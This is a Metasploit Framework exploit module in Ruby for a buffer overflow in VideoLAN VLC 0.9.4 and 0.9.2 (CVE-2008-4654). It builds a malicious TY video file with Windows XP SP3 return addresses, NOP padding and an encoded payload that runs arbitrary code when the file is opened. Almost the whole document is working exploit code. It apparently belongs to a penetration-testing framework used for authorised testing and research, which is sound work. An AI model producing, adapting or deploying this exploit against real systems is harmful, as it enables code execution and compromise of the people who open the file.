cgranleese-r7
93 lines
2.6 KiB
Ruby
93 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
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By creating a malicious TY file, a remote attacker could overflow a
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buffer and execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => 'MC',
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'References' => [
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[ 'CVE', '2008-4654' ],
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[ 'OSVDB', '49181' ],
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[ 'BID', '31813' ],
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'process',
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},
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'Payload' => {
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'Space' => 550,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' => [
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# From /misc/ version
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# [ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
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# [ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
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[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
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[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => '2008-10-22',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.ty']),
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]
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)
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end
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def exploit
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ty = "\xF5\x46\x7A\xBD"
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ty << "\x00\x00\x00\x02"
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ty << "\x00\x02\x00\x00"
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ty << "\x00" * 8
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ty << "\x00\x00\x05\x41"
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ty << "\x00" * 4
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ty << "\x00\x00\x05\x49"
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ty << "\x00" * 60
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# From /misc/ version
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# ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
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# ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
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# ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
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ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
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ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
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ty << "\x05"
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ty << "\x00" * 3
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ty << "\x05"
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ty << "\x00" * 1
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ty << "\x09"
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ty << "\xc0"
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ty << "\x00" * 14
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ty << "\x06"
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ty << "\xe0"
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ty << "\x00" * 302004
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(ty)
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end
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end
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